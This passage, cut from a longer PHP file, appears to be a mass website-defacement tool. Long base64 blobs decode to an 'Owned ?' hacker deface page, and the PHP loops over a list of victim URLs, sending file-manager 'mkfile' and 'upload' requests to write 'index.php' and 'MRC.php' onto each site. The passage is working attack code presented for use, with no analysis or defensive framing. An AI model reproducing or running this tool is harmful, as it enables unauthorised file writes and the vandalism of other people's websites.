lMSI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5BPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGUyIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPkE8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTMiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+QTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlNCI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5BPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGU1Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPkE8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+QTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgICA8ZGl2IGNsYXNzPSJjdWJlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlMSI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5NPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGUyIj4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPk08L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTMiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+TTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0ic2lkZSBzaWRlNCI+DQogICAgICAgICAgPGRpdiBjbGFzcz0ibGV0dGVyIj5NPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzaWRlIHNpZGU1Ij4NCiAgICAgICAgICA8ZGl2IGNsYXNzPSJsZXR0ZXIiPk08L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InNpZGUgc2lkZTYiPg0KICAgICAgICAgIDxkaXYgY2xhc3M9ImxldHRlciI+TTwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICA8L2Rpdj4NCjwvZGl2PjxwIGNsYXNzPSJmIj48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL3hhaXN5bmRpY2F0ZS8iPkNvbnRhY3Q8L2E+PGJyIC8+IC4vTVJDME5OM0NUM0Q8L3A+DQogIA0KICANCiAgICA8c2NyaXB0Pg0KICAgICd1c2Ugc3RyaWN0JzsNCg0KdmFyIGZhY2VzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgnc2lkZScpOw0KdmFyIENPTE9SUyA9IFsnI2Y0ZjNkMicsICcjRjE1MTVDJywgJyMyMkQ0QkUnLCAnIzQzM0QzQSddOw0KdmFyIEJPUkRFUl9TVFlMRSA9IFsnc29saWQnLCAnZGFzaGVkJ107DQoNCnZhciBnZXRSYW5kb21JbnQgPSBmdW5jdGlvbiBnZXRSYW5kb21JbnQobWluLCBtYXgpIHsNCiAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtYXggLSBtaW4gKyAxKSkgKyBtaW47DQp9Ow0KdmFyIHJlbW92ZUVsZW1lbnRGcm9tQXJyYXkgPSBmdW5jdGlvbiByZW1vdmVFbGVtZW50RnJvbUFycmF5KGVsZW1lbnQsIGFycmF5KSB7DQogIHZhciBhcnIgPSBbXS5jb25jYXQoYXJyYXkpOw0KICB2YXIgaW5kZXggPSBhcnIuaW5kZXhPZihlbGVtZW50KTsNCiAgaWYgKGluZGV4ID4gLTEpIGFyci5zcGxpY2UoaW5kZXgsIDEpOw0KICByZXR1cm4gYXJyOw0KfTsNCnZhciBnZXRSYW5kb21FbG0gPSBmdW5jdGlvbiBnZXRSYW5kb21FbG0oKSB7DQogIHZhciBhcnIgPSBhcmd1bWVudHMubGVuZ3RoIDw9IDAgfHwgYXJndW1lbnRzWzBdID09PSB1bmRlZmluZWQgPyBDT0xPUlMgOiBhcmd1bWVudHNbMF07DQogIHJldHVybiBhcnJbZ2V0UmFuZG9tSW50KDAsIGFyci5sZW5ndGggLSAxKV07DQp9Ow0Kd2luZG93LnNldEludGVydmFsKGZ1bmN0aW9uICgpIHsNCiAgdmFyIGkgPSB1bmRlZmluZWQ7DQogIHZhciBiYWNrZ3JvdW5kQ29sb3IgPSBnZXRSYW5kb21FbG0oKTsNCiAgdmFyIG5ld0NvbG9yQXJyYXkgPSByZW1vdmVFbGVtZW50RnJvbUFycmF5KGJhY2tncm91bmRDb2xvciwgQ09MT1JTKTsNCiAgdmFyIGZvbnRDb2xvciA9IGdldFJhbmRvbUVsbShuZXdDb2xvckFycmF5KTsNCiAgdmFyIGJvcmRlclRleHRDb2xvciA9IGdldFJhbmRvbUVsbSgpOw0KICB2YXIgcmFuZG9tQ29sb3JzID0gTWF0aC5yYW5kb20oKSA+IDAuNjsNCiAgdmFyIGJvcmRlciA9IHsNCiAgICB3aWR0aDogZ2V0UmFuZG9tSW50KDAsIDMpICsgJ3B4JywNCiAgICBzdHlsZTogZ2V0UmFuZG9tRWxtKEJPUkRFUl9TVFlMRSksDQogICAgY29sb3I6IGdldFJhbmRvbUVsbSgpDQogIH07DQogIGZvciAoaSA9IDA7IGkgPCBmYWNlcy5sZW5ndGg7IGkrKykgew0KICAgIGlmIChyYW5kb21Db2xvcnMpIHsNCiAgICAgIGJhY2tncm91bmRDb2xvciA9IGdldFJhbmRvbUVsbSgpOw0KICAgICAgbmV3Q29sb3JBcnJheSA9IHJlbW92ZUVsZW1lbnRGcm9tQXJyYXkoYmFja2dyb3VuZENvbG9yLCBDT0xPUlMpOw0KICAgICAgZm9udENvbG9yID0gZ2V0UmFuZG9tRWxtKG5ld0NvbG9yQXJyYXkpOw0KICAgIH0NCiAgICBmYWNlc1tpXS5zdHlsZS5jb2xvciA9IGZvbnRDb2xvcjsNCiAgICBmYWNlc1tpXS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSBiYWNrZ3JvdW5kQ29sb3I7DQogICAgZmFjZXNbaV0uc3R5bGUuYm9yZGVyQ29sb3IgPSBib3JkZXIuY29sb3I7DQogICAgZmFjZXNbaV0uc3R5bGUuYm9yZGVyV2lkdGggPSBib3JkZXIud2lkdGg7DQogICAgZmFjZXNbaV0uc3R5bGUuYm9yZGVyU3R5bGUgPSBib3JkZXIuc3R5bGU7DQogICAgZmFjZXNbaV0uc3R5bGUudGV4dFNoYWRvdyA9ICcxcHggMCAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAtKDFweCkgMCAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAwIDFweCAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAwIC0oMXB4KSAwICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAxcHggMXB4ICcgKyBib3JkZXJUZXh0Q29sb3IgKyAnLCAtMXB4IC0xcHggMCAnICsgYm9yZGVyVGV4dENvbG9yICsgJywgMXB4IC0xcHggMCAnICsgYm9yZGVyVGV4dENvbG9yICsgJywgLTFweCAxcHggMCAnICsgYm9yZGVyVGV4dENvbG9yOw0KICB9DQp9LCAxNTApOw0KICA8L3NjcmlwdD4NCg0KIDxlbWJlZA0Kc3JjPSJodHRwOi8vd3d3LnlvdXR1YmUuY29tL3YvM25oaVkteWVDSncmYW1wO2F1dG9wbGF5PTEmYW1wO2xvb3A9MSZhbXA7cGxheWxpc3Q9b2dKNXY0cGZzb2MiDQp0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiBoZWlnaHQ9IjEiDQp3aWR0aD0iMSI+PC9lbWJlZD4gDQogIA0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+aWYgKHNlbGY9PXRvcCkge2Z1bmN0aW9uIG5ldGJyb19jYWNoZV9hbmFseXRpY3MoZm4sIGNhbGxiYWNrKSB7c2V0VGltZW91dChmdW5jdGlvbigpIHtmbigpO2NhbGxiYWNrKCk7fSwgMCk7fWZ1bmN0aW9uIHN5bmMoZm4pIHtmbigpO31mdW5jdGlvbiByZXF1ZXN0Q2ZzKCl7dmFyIGlkY19nbG9fdXJsID0gKGxvY2F0aW9uLnByb3RvY29sPT0iaHR0cHM6IiA/ICJodHRwczovLyIgOiAiaHR0cDovLyIpO3ZhciBpZGNfZ2xvX3IgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqOTk5OTk5OTk5OTkpO3ZhciB1cmwgPSBpZGNfZ2xvX3VybCsgImNmczIudXpvbmUuaWQvMmZuN2EyL3JlcXVlc3QiICsgIj9pZD0xIiArICImZW5jPTlVd2t4TGdZOSIgKyAiJnBhcmFtcz0iICsgIjRUdEhhVVFuVUVpUDZLJTJmYzVDNTgyQ0w0TmpwTmdzc0szampCJTJmNjEyNGFZM2ZZcnN3bVNUSnBrNk1KaWtJc2lYV1BzV1ZlVzVhS2VkUEVPMmhyb1RBN3pBeGNvY0glMmZ4VTNMNnQ0VjlmVWhobEE5bWpOTlA3OFZneHlVUDhQSHMzeSUyZjdhUzBMJTJmdXBtU08wQUtQMlBtMUdyZlRabTUwZ2RickkxT1pTbHkwd0glMmJ0dlB4VjR6aUtpZFN2ZHFPQjdVbXltNWRaNlkwTXElMmJNdjlScjREZyUyYkF1UDN6UVYzUnY4ZXNnc0hJQVJhdU9JUGs5endQS2t4eWIlMmJDYnAzdktGRjdVWGslMmJmbTBwcHEwUjN1QUhvUVc4VW1YYUp5WEhSc3ZDdVklMmZyRElJRTkxRVBVUkFBM05IMUNwZU1hZDhjZ3IwV2piRDhwZksxNmQ3b3Q4bDljSnB1TnJLcUt1S0loa25VUGVKZFpNS25pSm53JTJiSWNwT0xtM1lIajclMmZDUnA3VHk3ViUyYjJvMmttVEk3Mk5CaTJuaEZ3b2NVJTJiM0ZObXhyaU5LTGRKVlpDUjdZQ2hkbVgwNnAlMmZHVXZuWkNPQlQzWm03d2VVaDdsUmpablcycWxIVXlVeW5EdTdQcSUyYlRlUkNlT0hkUkRvSXdhZHo0YkglMmZDRjNTdmdWbHRla3QzZlk4cjhjNHI4cEE0QiUyYjQzMkwzTnY3ZFYlMmZXVVZnNEc2enR3YUtNTG9kJTJmNWxuMlNHWWU3Wk5tWHFidzNNSnFDN01VdiUyYmNqSyUyYjlVeFVhVk1tcWFCdUhQTWQyQ01nJTNkJTNkIiArICImaWRjX3I9IitpZGNfZ2xvX3IgKyAiJmRvbWFpbj0iK2RvY3VtZW50LmRvbWFpbiArICImc3c9IitzY3JlZW4ud2lkdGgrIiZzaD0iK3NjcmVlbi5oZWlnaHQ7dmFyIGJzYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2JzYS50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7YnNhLmFzeW5jID0gdHJ1ZTtic2Euc3JjID0gdXJsOyhkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZChic2EpO31uZXRicm9fY2FjaGVfYW5hbHl0aWNzKHJlcXVlc3RDZnMsIGZ1bmN0aW9uKCl7fSk7fTs8L3NjcmlwdD48L2JvZHk+DQo8L2h0bWw+";
$decode_isi = base64_decode($isi_nama_doang);
$encode = base64_encode($global);
$ss = fopen($global,"w");
fputs($ss, $decode_isi);
echo "[+] <a href='$korban' target='_blank'>$korban</a> <br>";
echo "Done index.php<br>";
$url_mkfile = "$korban?cmd=mkfile&name=$global&target=l1_Lw";
$post1 = array(
"target" => "l1_$encode",
"content" => "$decode_isi",);
$post2 = array( "upload[]" => "@$global",);
$output_mkfile = ngirim("$korban", $post1);
$upload_ah = ngirim("$korban?cmd=upload", $post2);
}
}
?>
<center>
<form method="post">
<input type="submit" name="s" value="MRC.php">
</form></center>
<?php
$targets = explode("
", $_POST['targets']);
if($_POST['s']) {
foreach($targets as $korba) {
$globa = "MRC.php";
$isi_nama = "DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sID4NCg0KPGhlYWQ+DQogIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIGhyZWY9Imh0dHBzOi8vaS5pbWd1ci5jb20vZlcxaENHQy5wbmciIC8+DQogIDxsaW5rIHJlbD0ibWFzay1pY29uIiB0eXBlPSIiIGhyZWY9Imh0dHBzOi8vaS5pbWd1ci5jb20vZlcxaENHQy5wbmciIGNvbG9yPSIjMTExIiAvPg0KICA8dGl0bGU+T3duZWQgPzwvdGl0bGU+DQogIA0KICANCiAgDQogIA0KICAgICAgPHN0eWxlPg0KICAgICAgYm9keSwNCmh0bWwgew0KICBwb3NpdGlvbjogcmVsYXRpdmU7DQogIG92ZXJmbG93OiBoaWRkZW47DQogIHdpZHRoOiAxMDAlOw0KICBoZWlnaHQ6IDEwMCU7DQogIGJhY2tncm91bmQtY29sb3I6ICM0MzNkM2E7DQogIGJhY2tncm91bmQ6IHJhZGlhbC1ncmFkaWVudChlbGxpcHNlIGF0IGNlbnRlciwgIzQzM2QzYSAyNSUsICMzMjJlMmMgMTAwJSk7DQogIG1hcmdpbjogMDsNCiAgZm9udC1mYW1pbHk6IENlbnR1cnkgR290aGljLCBDZW50dXJ5R290aGljLCBBcHBsZUdvdGhpYywgc2Fucy1zZXJpZjsNCn0NCi5mIHsNCiAgcG9zaXRpb246IGZpeGVkOw0KICBib3R0b206IDVweDsNCiAgcmlnaHQ6IDE1cHg7DQogIGZvbnQtZmFtaWx5OiAnQXJpYWwnOw0KICBmb250LXNpemU6IDAuN3JlbTsNCiAgY29sb3I6ICNmNGYzZDI7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5mIGEgew0KICBmb250LXNpemU6IDAuOHJlbTsNCiAgY29sb3I6ICNmMTUxNWM7DQp9DQouc2VudGVuY2Ugew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHRvcDogNTAlOw0KICBsZWZ0OiA1MCU7DQogIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOw0KfQ0KLndvcmQgew0KICBkaXNwbGF5OiBmbGV4Ow0KICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCn0NCi5jb250YWluZXIgew0KICBwYWRkaW5nOiA1MHB4Ow0KfQ0KLmN1YmUgew0KICB0cmFuc2Zvcm0tb3JpZ2luOiA1MCUgNTAlOw0KICB0cmFuc2Zvcm0tc3R5bGU6IHByZXNlcnZlLTNkOw0KfQ0KLnNpZGUgew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHdpZHRoOiA1MHB4Ow0KICBoZWlnaHQ6IDUwcHg7DQogIG1hcmdpbjogLTI1cHg7DQp9DQouc2lkZTEgew0KICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVooMjVweCk7DQp9DQouc2lkZTIgew0KICB0cmFuc2Zvcm06IHJvdGF0ZVkoOTBkZWcpIHRyYW5zbGF0ZVooMjVweCk7DQp9DQouc2lkZTMgew0KICB0cmFuc2Zvcm06IHJvdGF0ZVkoMTgwZGVnKSB0cmFuc2xhdGVaKDI1cHgpOw0KfQ0KLnNpZGU0IHsNCiAgdHJhbnNmb3JtOiByb3RhdGVZKC05MGRlZykgdHJhbnNsYXRlWigyNXB4KTsNCn0NCi5zaWRlNSB7DQogIHRyYW5zZm9ybTogcm90YXRlWCg5MGRlZykgdHJhbnNsYXRlWigyNXB4KTsNCn0NCi5zaWRlNiB7DQogIHRyYW5zZm9ybTogcm90YXRlWCgtOTBkZWcpIHRyYW5zbGF0ZVooMjVweCk7DQp9DQoubGV0dGVyIHsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICB0b3A6IDUwJTsNCiAgbGVmdDogNTAlOw0KICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsNCiAgZm9udC1zaXplOiAyLjFlbTsNCiAgZm9udC13ZWlnaHQ6IDYwMDsNCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDEpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUwIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTAgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTAgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTAgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTEgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDMpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUyIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoNCkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTMgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCg1KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlNCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGU0IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDYpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGU1IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGU1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGU1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTUgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDcpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGU2IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGU2IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGU2IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlNiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTYgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoOCkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTcgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTcgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTcgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOi